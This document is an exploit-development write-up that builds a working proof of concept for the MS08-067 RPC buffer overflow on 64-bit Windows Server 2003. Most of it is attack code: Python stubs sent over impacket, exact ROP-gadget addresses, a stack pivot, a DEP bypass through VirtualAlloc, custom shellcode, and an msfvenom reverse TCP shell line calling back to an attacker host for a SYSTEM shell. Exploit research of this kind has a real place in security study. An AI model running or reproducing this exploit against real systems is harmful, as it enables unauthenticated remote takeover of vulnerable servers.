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1. Introduction 

Since the discovery of MS08-067, a buffer overflow vulnerability triggered by a specially crafted RPC 

request, much has been done to create a working exploit to target vulnerable hosts. This work by the 

security community was largely motivated by the vulnerability’s impact – unauthenticated remote code 

execution, in a SYSTEM context, against numerous versions of Microsoft Windows [1].  

As a result, many publicly available proof of concept exploits (PoCs) exist for this vulnerability. It is also 

used by the well-known Conficker worm [2]. However, all of the publicly available PoCs were found to only 

target the affected 32-bit systems, prior to Windows Vista, listed in Microsoft's security bulletin [1]. Since 

the vulnerability's discovery, no PoCs for the affected 64-bit systems have been widely released. 

The article provides an overview of the development of such a PoC. More specifically, the article targets 

Windows Server 2003 x64, SP0. This article does not introduce new techniques to the field of exploit 

development, but simply documents a real-world encounter with 64-bit exploit development, while 

discussing the challenges associated with 64-bit exploit development. 
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2. Crash it, and the Exploit will Come 

Before digging into the actual exploit, it is necessary to provide an overview of the crash, the RPC request 

that results in the crash, and some of the interesting constraints imposed on the exploit development by 

the 64-bit architecture and RPC request stub. This article won’t be covering the actual vulnerability, as 

other resources are available for this purpose [4]. 

It is not of the utmost importance to delve into every resource available to understand this exploit, but 

taking some time to understand the vulnerable code [3] and also fiddle with the crash PoC is 

recommended.  

The vulnerability is caused by the way that the NetprPathCanonicalize function, exported by 

netapi32.dll, processes its input. The existing PoCs can all be seen targeting the Server service, which 

uses the vulnerable function in netapi32.dll to process the path provided via RPC requests. 

2.1 The RPC request 

For simplicity, only the relevant components of the RPC request stub are covered – how the stub looks, 

what the exploit-relevant values in the stub mean, and how they can be manipulated. The python code 

snippet below shows the stub skeleton used for this exploit. 

# Misc 

stub =  '\x01\x00\x00\x00'    # Reference ID 

 

# Server UNC 

stub += '\x10\x00\x00\x00'    # Server UNC - Max Buffer Count 

stub += '\x00\x00\x00\x00'    # Offset 

stub += '\x10\x00\x00\x00'    # Server UNC - Actual Buffer Count 

stub += '\x50\x50'*15         # Server UNC Buffer Content 

stub += '\x00\x00'*1          # Server UNC Trailing Null Bytes 

 

# RPC Path 

stub += '\x2f\x00\x00\x00'    # RPC Path - Max Buffer Count 

stub += '\x00\x00\x00\x00'    # Offset 

stub += '\x2f\x00\x00\x00'    # RPC Path - Actual Buffer Count 

stub += '\x41\x41'*46         # RPC Path Buffer 

stub += '\x00\x00'*1          # RPC Path Trailing Null Bytes 

 

# Misc 

stub += '\x00\x00'            # Padding 

stub += '\x01\x00\x00\x00’    # Max Buffer Count 

stub += '\x02\x00\x00\x00'    # Prefix - Max Unicode Count  

stub += '\x00\x00\x00\x00'    # Offset 

stub += '\x02\x00\x00\x00'    # Prefix - Actual Unicode Count 

stub += '\x5c\x00\x00\x00'    # Prefix + Trailing Null Bytes 

stub += '\x01\x00\x00\x00'    # Pointer to Path Type 

stub += '\x01\x00\x00\x00'    # Path Type and Flags 

 

The two important buffers in the above snippet are the Server UNC buffer and the RPC Path buffer. These 

buffers both form part of the final exploit, as the RPC Path buffer will be used to trigger the vulnerability, 

and perform other stack manipulation functions, and the Server UNC buffer will contain the final ROP-

chain and shellcode for the exploit.  
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Notice that both buffers have their own descriptively named "Max Buffer Count" and "Actual Buffer Count" 

values. For this exploit these two values will be kept the same for each of the respective buffers. These 

values correspond to the number of Unicode characters that the buffer must have, including the Unicode 

null byte at the end of the buffer. This is useful, as it allows adjustment of the two buffer sizes, depending 

on the requirements of the exploit. 

2.2 What the Access Violation? 

Now to crash the Server service. The crash PoC demonstrated in this section was borrowed from existing 

exploits and resources. In the code snippet below, the malicious path in the RPC Path buffer is used to 

trigger the vulnerability. The screenshot following the code shows a successful Access Violation due to 

an attempt to execute an instruction at a location the PoC controls – 0x42424242, in this case. The address 

in RIP corresponds to the last four bytes in the RPC path buffer, before the trailing null bytes. 

from impacket import smb 

from impacket import uuid 

from impacket.dcerpc.v5 import transport 

import struct 

 

trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % "192.168.10.21") 

trans.connect() 

dce = trans.DCERPC_class(trans) 

dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0'))) 

 

# Misc 

stub =  '\x01\x00\x00\x00'      # Reference ID 

 

# Server UNC 

stub += '\x10\x00\x00\x00'      # Server UNC - Max Buffer Count 

stub += '\x00\x00\x00\x00'      # Offset 

stub += '\x10\x00\x00\x00'      # Server UNC - Actual Buffer Count 

stub += '\x50\x50'*15           # Server UNC Buffer Content 

stub += '\x00\x00'*1            # Server UNC Trailing Null Bytes 

 

# RPC Path 

stub += '\x2f\x00\x00\x00'      # RPC Path - Max Buffer Count 

stub += '\x00\x00\x00\x00'      # Offset 

stub += '\x2f\x00\x00\x00'      # RPC Path - Actual Buffer Count 

 

# Trigger Path = \A\..\..\ 

stub += '\x5c\x00\x45\x00\x5c\x00\x2e\x00'  # Trigger Path 

stub += '\x2e\x00\x5c\x00\x2e\x00\x2e\x00'  # Trigger Path 

stub += '\x5c\x00'                          # Trigger Path 

 

# Remaining Buffer 

stub += '\x41\x41'*35           # Remaining RPC Path Buffer 

stub += '\x42\x42'*2            # RIP Overwrite 

stub += '\x00\x00'*1            # RPC Path Trailing Null bytes 

 

# Misc 

stub += '\x00\x00'              # Padding 

stub += '\x01\x00\x00\x00'      # Max Buffer Count 

stub += '\x02\x00\x00\x00'      # Prefix - Max Unicode Count 

stub += '\x00\x00\x00\x00'      # Offset 

stub += '\x02\x00\x00\x00'      # Prefix - Actual Unicode Count 

stub += '\x5c\x00\x00\x00'      # Prefix + Trailing Null Bytes 

stub += '\x01\x00\x00\x00'      # Pointer to Path Type 

stub += '\x01\x00\x00\x00'      # Path type and flags 

 

dce.call(0x1f, stub)            # NetPathCanonicalize 
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It is important to note that the content of the buffers that the PoC controls contain Unicode characters. 

This means that a bad character, such as a null byte, is only considered as such in the context of Unicode 

characters; that is, a single null byte with a prepended null byte. The same applies to other bad characters 

for this exploit, such as 0x0a, 0x0d, 0x5c, 0x5f, 0x2f, 0x2e and 0x40. Therefore, a newline character (0x0a) 

is represented in Unicode as 0x000a. 

2.3 Ground Rules - Because Server 2003 x64 Said So 

As with all exploit development, where is the challenge if there is no protection? The Server service was 

configured to run with Data Execution Prevention (DEP) and 64-bit. Yes, the 64-bit architecture is 

considered a form of protection on its own, as the 64-bit architecture's virtual address space has an upper 

limit of 0x000007ffffffffff – which contains two consecutive null bytes. As Unicode null bytes are bad 

characters in the RPC path, it is not possible to simply overwrite past the instruction pointer to build a 

ROP-chain.  
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More bad news - after many hours spent recording different behaviour and trying to understand it, it was 

not found possible to overwrite RIP with more than four bytes. This means that this exploit assumes the 

only direct return from after the buffer overflow is constrained to 32-bit virtual addresses. This will be 

referred to as the 32-bit sandbox. 

But all is not lost. Luckily, the registers and stack have a few properties that could just work to our 

advantage. After the crash, the current stack frame contains only the RPC Path from the last "\" character, 

up to the value overwriting RIP. It can also be seen that the RPC Path has an additional occurrence just a 

few memory locations up the stack from the overwritten return address. 

After accessing the memory pointed to by R13, it was found that the entire original stub was located in a 

different stack frame. R13 was found pointing to the beginning of the RPC Path, as shown in the screenshot 

below. Note that the stack pointer was manually changed to make use of the stack window for illustrative 

purposes. 

 

With this in mind, the smashed stack was further investigated for any other pointers or values that could 

be used. An interesting observation was made - the stack frame in which the buffer is being overwritten 

was being used for all RPC requests, which meant that the stack layout was exactly the same after each 

crash. This assumption was also verified after running other tools against the service, such as enum4linux, 

to invoke some activity in the service before exploitation. It is assumed that this was part of an 

optimisation effort, due to the expected load the system should handle.  

Using this stack observation, another interesting observation was made - the stack contained a value at 

0x190f360 which, like R13, pointed to a portion of the original stub. In this case, the value at 0x190f360 

was pointing to the beginning of the Server UNC buffer of the original stub. This will be useful for the 

development of the exploit, and can be seen in the screenshot below. 
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Therefore, from the above there are two values at known locations that point back to the original stub 

message. By original, it is meant that the stack frame contains the entire message, including bad 

characters (the dream!). The only problem with getting there is, well, getting there. 
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3. The Exploit (I know you skipped the above) 

3.1 Tools – Yes, No mona.py! 

Unfortunately, there is no mona.py for the development of this exploit – mostly due to the reluctance to 

setup windbg. As some might be aware of, mona is a nice python plugin for Immunity Debugger to aid with 

32-bit exploit development (or 64-bit, if you would prefer using WinDbg). Luckily there are quite a few 

distributed tools that can be used for 64-bit exploit development. For this exploit, the following tools are 

used: 

 x64dbg [5] – a free, open-source debugger that can attach to both 32-bit and 64-bit processes 

 ROPShell [6] – an online service that analyses various file formats for ROP-gadgets 

ROPShell offers additional features like sorting ROP-gadgets according to what sort of memory 

manipulation or stack manipulation functions they can perform. This is quite useful, as it makes the 

process of finding the right gadgets to perform the right functions significantly easier. The table below 

shows the hashes of some of the DLL’s that were uploaded to ROPShell. These hashes can be used on 

ROPShell to view the ROP-gadgets that were found for the corresponding DLL’s. 

DLL Name Hash 

advapi32.dll  30b66cacabeb1eceeca5b336f1548b67 

gdi32.dll 63720bcb2c0b3f4cd4e055782f5d982f 

kernel32.dll  d3cbc6e982bdc19e52917a989ba9c63e 

msvcrt.dll  7c5731853b71a017e1cb1c76a0a3155a 

ntdll.dll  5fd51aee0d611d857fc1efdcd247dcdb 

ntmarta.dll  8ab4c7456b6ae16bd6bf3fbea12cf240 

samlib.dll  d9511d97ccd02315c7559581e09b928f 

rpcrt4.dll  41a107a811875f33fcbb6fa1c07ec61b 

ole32.dll  d757376256c31223b2350ae02f24ef59 

rutils.dll  eaa0625231f3adf1b09c19dd70ba354b 

wldap32.dll  92220de401db7c16b1c24229cc175be8 

wzcsvc.dll  4ae00ec89a0933760a0c28c7e8861a76 

rsaenh.dll  e6ef7384be038bf6c31542fc6ef3a0a1 

user32.dll 9aeb3130e5cf4f9caa2667f49c6795e5 

wuauserv.dll ef7576af44b484f7a3e6072d633bab34 
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wuaeng.dll  0c67d1a5a092aeebb9ae6913cba1bcd1 

For completeness, the screenshot below shows the system information for the target operating system. 

As the SeDebugPrivilege permission for the Server service was not granted to the Administrator user by 

default, Process Explorer was used to grant debugging permissions to this user. 

 

 

3.2 One RET to Rule Them All 

From the information gathered up to this point, it is evident that the exploit needs to involve some form 

of stack pivoting to achieve reliable code execution. Stack pivoting refers to the manipulation of the stack 

pointer in order to control the destination of stack related operations such as PUSH, POP and RET. This is 

mainly due to the little amount of control available in the original stack frame after the crash, as well as 

the 32-bit sandbox, which limits the address space that can be returned to after the initial stack smash.  

These limitations prevented the use of very valuable ROP-gadgets that were only available in the higher 

ranges of the 64-bit virtual address space. As a final limitation, it was found that none of the available 

ROP-gadgets provided an all-in-one solution for the stack pivot problem, which required that a number 

of ROP-gadgets be chained together from the initial RIP overwrite. Due to the inter-dependence of the 

ROP-gadgets used for this exploit, an overview of the ROP-gadgets are given below. 

1) Return to the 64-bit address for 2nd gadget 
0x50001A5C mov esp,dword ptr ss:[rsp+60] 

0x50001A60 mov rdi,qword ptr ss:[rsp+88] 

0x50001A68 mov rbp,qword ptr ss:[rsp+78] 

0x50001A6D mov rbx,qword ptr ss:[rsp+70]  

0x50001A72 add rsp,68  

0x50001A76 ret 

 

2) Prepare RAX for next call, RCX for stack pivot and RDX for final call 
0x07FF7FDE4859 mov rax,qword ptr ds:[r13+158] 

0x07FF7FDE4860 mov rdx,qword ptr ds:[r13+160] 
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0x07FF7FDE4867 mov rcx,qword ptr ds:[r13+180]           

0x07FF7FDE486E call qword ptr ds:[rax+18] 

   

3) Dereference pivot destination pointed to by RCX and call RDX 
0x07FF7E2F344A mov rax,qword ptr ds:[rcx+8]  

0x07FF7E2F344E lea rcx,qword ptr ss:[rsp+60] 

0x07FF7E2F3453 mov qword ptr ds:[r8+8],rax         

0x07FF7E2F3457 call rdx 

 

4) Final Stack Pivot 
0x07FF7E308C6F xchg eax,esp 

0x07FF7E308C70 ret  

 

With these ROP-gadgets, the goal will be to perform a stack pivot to align RSP with the Server UNC pointed 

to by a value on the smashed stack. Therefore, the stack pivot demonstrated in this section takes into 

consideration the following: 

 The first ROP-gadget will be located in the 32-bit virtual address space 

 Attempt to break out of the 32-bit sandbox to access the second ROP-gadget 

 Control the value of RIP after each ROP-gadget 

 Perform a stack pivot that will result in complete control over RIP 

3.2.1 Away with you, sandbox! 

The first part of the ROP-chain will allow the execution of a ROP-gadget in the 64-bit address space from 

the 32-bit return address. This is challenging, as there are no ROP-gadgets in this space which can 

populate a register with a 64-bit value – mainly due to the Unicode null byte constraints. 

To recap, the upper limit of the 64-bit address space starts with two consecutive null bytes – a Unicode 

null byte. Therefore, it is not possible to directly include a 64-bit address somewhere in the RPC Path with 

the default character alignment. To circumvent this, a different character alignment approach was 

followed, as shown below. 

0x000007ffffffffff => 0x41000007ffffffffff41 

In this example, the address 0x000007ffffffffff was prepended with an additional byte and concluded 

with an additional byte. This technique divided the Unicode null byte between the appended 0x41 byte 

and the original 0x07 byte. Essentially, if it is possible to have the first ROP-gadget perform an arbitrary 

stack alignment, it will be possible to align RSP with the beginning of the embedded 64-bit address and 

return to a 64-bit memory location. 

To achieve this, the ROP-gadget shown below, which was found in wuauserv.dll, is used. This gadget 

performs two operations to take note of – the first operation (mov esp, [rsp+0x60]) dereferences the 

value at RSP+0x60 into ESP (the lower 32-bytes of RSP). The second operation lifts RSP by 0x68. 

0x50001A5C mov esp,dword ptr ss:[rsp+60] 

0x50001A60 mov rdi,qword ptr ss:[rsp+88] 

0x50001A68 mov rbp,qword ptr ss:[rsp+78] 

0x50001A6D mov rbx,qword ptr ss:[rsp+70]  

0x50001A72 add rsp,68  

0x50001A76 ret  
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Remember that the RPC Path buffer occurs twice in the smashed stack frame, and that the second 

occurrence is up the stack, within the stack lifting operation’s range. Therefore the value being 

dereferenced can be controlled, and that due to the instruction only writing into the lower 32-bits of the 

RSP register, the upper 32-bits of RSP remain unchanged. Also, remember that the addressing of the 

smashed stack stays the same after subsequent requests, and that it is therefore possible to have RSP 

reliably point to an arbitrary value on the stack. 

The 64-bit address to return to will therefore be stored at 0x0190ee59, which requires populating ESP 

with the value 0x190edf1 to compensate for the 0x68 byte stack lift. Also, after the crash the value of 

RSP+0x60 points to the 37th Unicode character of the RPC Path. The skeleton PoC is updated, and shown 

below.  

# ROP variables 

rop1_addr = 0x50001a5c 

rop1_esp  = 0x0190edf1 

rop2_addr = 0x000007ff7fde4859 

 

# Misc 

stub =  '\x01\x00\x00\x00'      # Reference ID 

 

# Server UNC 

stub += '\x10\x00\x00\x00'      # Server UNC - Max Buffer Count 

stub += '\x00\x00\x00\x00'      # Offset 

stub += '\x10\x00\x00\x00'      # Server UNC - Actual Buffer Count 

stub += '\x50\x50'*15           # Server UNC Buffer Content 

stub += '\x00\x00'*1            # Server UNC Trailing Nullbytes 

 

# RPC Path 

stub += '\x2f\x00\x00\x00'      # RPC Path - Max Buffer Count 

stub += '\x00\x00\x00\x00'      # Offset 

stub += '\x2f\x00\x00\x00'      # RPC Path - Actual Buffer Count 

 

# Trigger Path = \A\..\..\ 

# Size: 18 bytes => 9 Unicode characters 

stub += '\x5c\x00\x45\x00\x5c\x00\x2e\x00'  # Trigger Path 

stub += '\x2e\x00\x5c\x00\x2e\x00\x2e\x00'  # Trigger Path 

stub += '\x5c\x00'                          # Trigger Path 

 

# Remaining Buffer 

stub += '\x41'                      # Garbage Byte 

stub += struct.pack('Q', rop2_addr) # ROP-gadget 2 address 

stub += '\x41'                      # Garbage Byte 

stub += '\x41\x41'*23               # Padding 

stub += struct.pack('I', rop1_esp)  # ROP-gadget 1 ESP value  

stub += '\x41\x41'*5                # Padding 

stub += struct.pack('I', rop1_addr) # ROP-gadget 1 return address 

stub += '\x00\x00'                  # Trailing Unicode null byte 

 

# Misc 

stub += '\x00\x00'              # Padding 

stub += '\x01\x00\x00\x00'      # Max Buffer Count 

stub += '\x02\x00\x00\x00'      # Prefix - Max Unicode Count 

stub += '\x00\x00\x00\x00'      # Offset 

stub += '\x02\x00\x00\x00'      # Prefix - Actual Unicode Count 

stub += '\x5c\x00\x00\x00'      # Prefix + Trailing Null bytes 

stub += '\x01\x00\x00\x00'      # Pointer to Path Type 

stub += '\x01\x00\x00\x00'      # Path Type and flags 
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The 64-bit target in the above address points to the next ROP-gadget, which will be explained next. But 

for now, the target location’s instruction has been changed to an int3 instruction. The updated PoC’s 

results are shown in the screenshots below. The first screenshot depicts the stack alignment, and the 

second screenshot depicts the instruction pointer pointing to the start of the second ROP-gadget. 

 

 

3.2.2 Registering Control 

The next ROP-gadget, which was found in rpcrt4.dll, provides an interesting feature – control over the 

RAX, RCX and RDX registers. This is because the offset 0x158 from the value in R13 points to a location past 

the crash string – which is good, because this is a region that can contain any characters, as long as the 

RPC Path buffer’s size is adjusted. Also, notice that the last instruction dereferences and calls the value 

stored at RAX+0x18, which provides a method for controlling RIP to execute the next ROP-gadget. 

0x07FF7FDE4859 mov rax,qword ptr ds:[r13+158] 

0x07FF7FDE4860 mov rdx,qword ptr ds:[r13+160] 

0x07FF7FDE4867 mov rcx,qword ptr ds:[r13+180]           

0x07FF7FDE486E call qword ptr ds:[rax+18]  

 

The values that will populate the three registers controlled in this gadget will be determined by looking at 

the third ROP-gadget to be executed. The third ROP-gadget, which was found in ntmarta.dll and is 

located at 0x07ff7e2f344a, dereferences the value pointed at by RCX+0x8 and then calls RDX. Remember 
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that the smashed stack contains a value at 0x190f360 that points to the beginning of the Server UNC 

buffer. Therefore, this ROP-gadget needs to populate RCX with the value 0x190f358 and RDX with the 

address of the final ROP-gadget, which is located at 0x07ff7e308c6f – which was also found in 

ntmarta.dll. 

Also, RAX needs to be populated with an address that can be dereferenced and called and also compensates 

for the 0x18 byte offset (CALL [RAX + 0x18]). The same approach will be followed as with the first ROP-

gadget. The next ROP-gadget’s address, 0x07ff7e2f344a, will be placed in the RPC Path buffer such that 

it appears on the smashed stack. This 64-bit address, including its two garbage bytes, will be placed right 

after the first 64-bit address in the RPC Path buffer. The updated skeleton PoC, with the adjusted RPC 

Path buffer size, is shown below. 

# ROP variables 

rop1_addr = 0x50001a5c          # ROP-Gadget 1 Address 

rop1_esp  = 0x0190edf1          # ESP Value 

rop2_addr = 0x000007ff7fde4859  # ROP-Gadget 2 Address 

rop2_rax  = 0x190ee4b           # RAX = 0x190ee63 - 0x18 

rop2_rcx  = 0x190f358           # RCX = 0x190f360 – 0x8 

rop3_addr = 0x07ff7e2f344a      # ROP-Gadget 3 Address 

rop4_addr = 0x07ff7e308c6f      # ROP-Gadget 4 Address (RDX) 

 

# Misc 

stub =  '\x01\x00\x00\x00'      # Reference ID 

 

# Server UNC 

stub += '\x10\x00\x00\x00'      # Server UNC - Max Buffer Count 

stub += '\x00\x00\x00\x00'      # Offset 

stub += '\x10\x00\x00\x00'      # Server UNC - Actual Buffer Count 

stub += '\xff\xee\xee\xbb'      # Server UNC Buffer Content 

stub += '\xdd\xaa\xee\xdd'      # Server UNC Buffer Content 

stub += '\x50\x50'*11           # Server UNC Buffer Content 

stub += '\x00\x00'*1            # Server UNC Trailing Unicode Null Byte 

 

# RPC Path 

stub += '\xc5\x00\x00\x00'      # RPC Path - Max Buffer Count 

stub += '\x00\x00\x00\x00'      # Offset 

stub += '\xc5\x00\x00\x00'      # RPC Path - Actual Buffer Count 

 

# Trigger Path = \A\..\..\ 

stub += '\x5c\x00\x45\x00\x5c\x00\x2e\x00'  # Trigger Path 

stub += '\x2e\x00\x5c\x00\x2e\x00\x2e\x00'  # Trigger Path 

stub += '\x5c\x00'                          # Trigger Path 

 

# Remaining Buffer 

stub += '\x41'                      # Garbage Byte 

stub += struct.pack('Q', rop2_addr) # ROP-gadget 2 address 

stub += '\x41'                      # Garbage Byte 

stub += '\x41'                      # Garbage Byte 

stub += struct.pack('Q', rop3_addr) # ROP-gadget 3 address 

stub += '\x41'                      # Garbage Byte  

stub += '\x41\x41'*18               # Padding 

stub += struct.pack('I', rop1_esp)  # ROP-gadget ESP value  

stub += '\x41\x41'*5                # Padding 

stub += struct.pack('I', rop1_addr) # ROP-gadget 1 return address 

stub += '\x00\x00'                  # Trailing Unicode Null Byte 

stub += '\x41\x41'*125              # Padding 

stub += struct.pack('Q', rop2_rax)  # RAX Value 

stub += struct.pack('Q', rop4_addr) # RDX Value 

stub += '\x41\x41'*12               # Padding 

stub += struct.pack('Q', rop2_rcx)  # RCX Value 

stub += '\x00\x00'                  # Padding 
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# Misc 

stub += '\x00\x00'              # Padding 

stub += '\x01\x00\x00\x00'      # Max Buffer Count 

stub += '\x02\x00\x00\x00'      # Prefix - Max Unicode Count 

stub += '\x00\x00\x00\x00'      # Offset 

stub += '\x02\x00\x00\x00'      # Prefix - Actual Unicode Count 

stub += '\x5c\x00\x00\x00'      # Prefix + Trailing Null Bytes 

stub += '\x01\x00\x00\x00'      # Pointer to Path Type 

stub += '\x01\x00\x00\x00'      # Path type and flags 

 

The screenshot below depicts the result of the PoC up to the execution of the third ROP-gadget. The right 

side shows RIP pointing to the start of the third ROP-gadget, and the left side shows the values of RCX 

and RDX being as expected. 

 

3.2.3 Pivoting to a Better Place 

With the last update to the PoC preparation was already made to perform the final stack pivot. The last 

two ROP-gadgets that need to be executed are shown below. Given the state of the registers after the last 

PoC update, the third ROP-gadget should dereference RCX+0x8 into RAX, which will have RAX point to the 

start of the original Server UNC buffer.  

# ROP-Gadget 3 

0x07FF7E2F344A mov rax,qword ptr ds:[rcx+8]  

0x07FF7E2F344E lea rcx,qword ptr ss:[rsp+60] 

0x07FF7E2F3453 mov qword ptr ds:[r8+8],rax         

0x07FF7E2F3457 call rdx 

 

# ROP-Gadget 4 

0x07FF7E308C6F xchg eax,esp 

0x07FF7E308C70 ret  

 

At the end of the ROP-gadget, the value of RDX is called, which points to the final ROP-gadget. The final 

ROP-gadget will swap the values of EAX and ESP, effectively pointing the stack pointer to the beginning of 

the Server UNC buffer. Letting the current PoC complete its execution results in the Access Violation 

shown below. 
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From analysing the values of RSP and the stack, it can be seen that RSP is now pointing at a fully 

controllable part of memory. A successful stack pivot has been achieved. 

3.3 From DEP to INT3 

The 64-bit versions of Windows are configured to make use of the fast-call calling convention by default. 

The main property of this calling convention to take note of for the exploit is that integer arguments, 

which could represent actual integer values or 64-bit pointers, are passed to functions using the RCX, RDX, 

R8 and R9 registers – in this order. In its own way, this makes ROP-chaining functions with arguments less 

tedious than having to strategically prepare the stack. 

In order to disable DEP for the memory page that RSP is pointing to, the VirtualAlloc method will be used. 

The definition for VirtualAlloc is shown below, along with the argument values. 

LPVOID WINAPI VirtualAlloc(           # Address: 0x78d6f3d0 

  _In_opt_ LPVOID lpAddress,          # RCX: Address in current 0x1000 byte memory page 

  _In_     SIZE_T dwSize,             # RDX: 0x1 

  _In_     DWORD  flAllocationType,   # R8:  0x1000 (MEM_COMMIT) 

  _In_     DWORD  flProtect           # R9:  0x40 (PAGE_EXECUTE_READWRITE) 

); 

 

With the above information, the Server UNC buffer’s size and content are updated and shown below. 

# Server UNC 

stub += '\x4a\x00\x00\x00'      # Server UNC - Max Buffer Count 

stub += '\x00\x00\x00\x00'      # Offset 

stub += '\x4a\x00\x00\x00'      # Server UNC - Actual Buffer Count 

 

# Server UNC Buffer Content 

stub += struct.pack('Q', 0x07ff7e45b47f) # pop rax; ret; 

stub += struct.pack('Q', 0x190f360)      # value of rax 

stub += struct.pack('Q', 0x07ff7fee50da) # pop rdx; ret; 

stub += struct.pack('Q', 0x07ff7e45e834) # value of rdx. points to: 

                                         # pop rbx; ret; 

stub += struct.pack('Q', 0x07ff7ff6314e) # rcx = lpAddress 

                                         # mov rcx, [rax]; call rdx 

stub += struct.pack('Q', 0x07ff7fee50da) # pop rdx; ret; 
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stub += struct.pack('Q', 0x1)            # dwSize = 0x1 

stub += struct.pack('Q', 0x07ff7e4a38a9) # pop r8; ret; 

stub += struct.pack('Q', 0x1000)         # flAllocationType = 0x1000 

stub += struct.pack('Q', 0x07ff7e796012) # pop r9; mov rbx, [rsp+0x40]; add rsp, 0x28; ret 

stub += struct.pack('Q', 0x40)           # flProtect = 0x40 

stub += '\x50\x50'*20                    # compensate for 0x28 byte stack lift 

stub += struct.pack('Q', 0x78d6f3d0)     # VirtualAlloc 

stub += struct.pack('Q', 0x5000218b)     # jmp rsp; 

stub += '\xcc\xcc'                       # int3; int3; 

stub += '\x00\x00'                       # Server UNC Trailing Null Bytes 

 

The initial ROP-gadgets are responsible for populating RCX with a pointer to the current memory page. 

Using a similar technique as the stack pivot, the value 0x190f360 is pop’d into RAX and in a later gadget 

dereferenced into RCX, essentially storing a pointer to the start of the ROP-chain in RCX. 

Since the values for the other arguments are known, they are simply pop’d into the appropriate registers 

down the ROP-chain. The ROP-gadget that populates R9 includes a 0x28 byte stack lift, which is 

compensated for by padding bytes. 

After populating the registers with the arguments, the service returns to VirtualAlloc to change the 

memory page’s permissions. This is followed by a jmp rsp ROP-gadget to redirect code execution to the 

int3 instruction down the stack. The two screenshots below show the execution right flag set on the 

current memory page and the int3 breakpoint being hit. Successful code execution has been achieved. 
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3.4 You’re in the “NT AUTHORITY\SYSTEM” 

Before proceeding to just adding shellcode and getting a reverse shell, some initial shellcode needs to be 

added. After a few trial runs it was found that in some instances a large Server UNC buffer would overrun 

into the next memory page – which is not marked as executable. To circumvent this, the initial shellcode 

will mark the next memory page as executable, and also decrease RSP by 0x400 to ensure the shellcode 

can use the stack without accidentally overwriting any shellcode. This shellcode is shown below, followed 

by a screenshot showing the execution flag set for the next memory page. 

stub += '\x48\x89\xe1'                   # mov rcx,rsp                              

stub += '\x48\x81\xc1\x00\x10\x00\x00'   # add rcx,1000                             

stub += '\x48\xc7\xc2\x01\x00\x00\x00'   # mov rdx,1                                

stub += '\x49\xc7\xc0\x00\x10\x00\x00'   # mov r8,1000                              

stub += '\x49\xc7\xc1\x40\x00\x00\x00'   # mov r9,40                                

stub += '\x48\x81\xec\x00\x04\x00\x00'   # sub rsp,400                              

stub += '\x48\xc7\xc0\xd0\xf3\xd6\x78'   # mov rax,<kernel32.VirtualAlloc>          

stub += '\xff\xd0'                       # call rax 

 

 

The PoC is ready to execute shellcode. For this example, msfvenom’s standard Windows 64-bit reverse-

shell payload is used. The code below shows the updated Server UNC buffer’s content, followed by a 

beautiful picture of a wild SYSTEM shell. 

# Server UNC Payload 

stub += struct.pack('Q', 0x07ff7e45b47f) # pop rax; ret; 

stub += struct.pack('Q', 0x190f360)      # value of rax 

stub += struct.pack('Q', 0x07ff7fee50da) # pop rdx; ret; 

stub += struct.pack('Q', 0x07ff7e45e834) # value of rdx. points to: 

                                         # pop rbx; ret; 

stub += struct.pack('Q', 0x07ff7ff6314e) # mov rcx, [rax]; call rdx 

stub += struct.pack('Q', 0x07ff7fee50da) # pop rdx; ret; 

stub += struct.pack('Q', 0x1)            # dwSize = 0x1 

stub += struct.pack('Q', 0x07ff7e4a38a9) # pop r8; ret; 

stub += struct.pack('Q', 0x1000)         # flAllocationType = 0x1000 

stub += struct.pack('Q', 0x07ff7e796012) # pop r9; mov rbx, [rsp+0x40]; add rsp, 0x28; ret 

stub += struct.pack('Q', 0x40)           # flProtect = 0x40 

stub += '\x50\x50'*20                    # compensate for 0x28 byte stack lift 

stub += struct.pack('Q', 0x78d6f3d0)     # VirtualAlloc 

stub += struct.pack('Q', 0x5000218b)     # jmp rsp; 

stub += '\x90\x90'                       # nop; nop; 

 

# Initial Shellcode 

stub += '\x48\x89\xe1'                   # mov rcx,rsp                              

stub += '\x48\x81\xc1\x00\x10\x00\x00'   # add rcx,1000                             
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stub += '\x48\xc7\xc2\x01\x00\x00\x00'   # mov rdx,1                                

stub += '\x49\xc7\xc0\x00\x10\x00\x00'   # mov r8,1000                              

stub += '\x49\xc7\xc1\x40\x00\x00\x00'   # mov r9,40                                

stub += '\x48\x81\xec\x00\x04\x00\x00'   # sub rsp,400                              

stub += '\x48\xc7\xc0\xd0\xf3\xd6\x78'   # mov rax,<kernel32.VirtualAlloc>          

stub += '\xff\xd0'                       # call rax                                 

stub += '\x90'                           # nop 

 

# msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.10.24 LPORT=5555 EXITFUNC=thread -f python 

#  shellcode size: 460 bytes => 230 Unicode characters 

stub += shellcode 

 

stub += '\x90\x90'*(250 - (len(shellcode)/2)) # NOP padding 

 

stub += '\x00\x00'                       # Server UNC Trailing Null Bytes 
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 Reliability Considerations 

To conclude this write-up, the reliability of this PoC needs to be addressed. As was seen during the 

development of the PoC, an assumption was made that the original smashed stack is always located at 

the same place in memory, with the same layout. Ideally, this should be avoided when developing reliable 

exploits. But this assumption was key to achieving command execution and deemed valid due to the 

consistency of it even after performing aggressive enumeration against the target service.  

Although, it was found that invalid RPC requests, which occur as a result of malformed stubs, from time 

to time resulted in stack offsets for consecutive RPC requests. But these malformed stubs only occurred 

as a result of misconfigured buffer sizes in the stub. 

Also, it was found that the Server service would crash during the execution of the shellcode. This finding 

is what motivated the initial stack lifting shellcode, and also aided in discovering that large stubs caused 

shellcode to overrun into the next, non-executable, memory page. But the Server service would still crash 

from time to time, and it is assumed to be as a result of the Server service’s state after the shellcode’s 

execution. For the scope of this write-up, this investigation is not included.  
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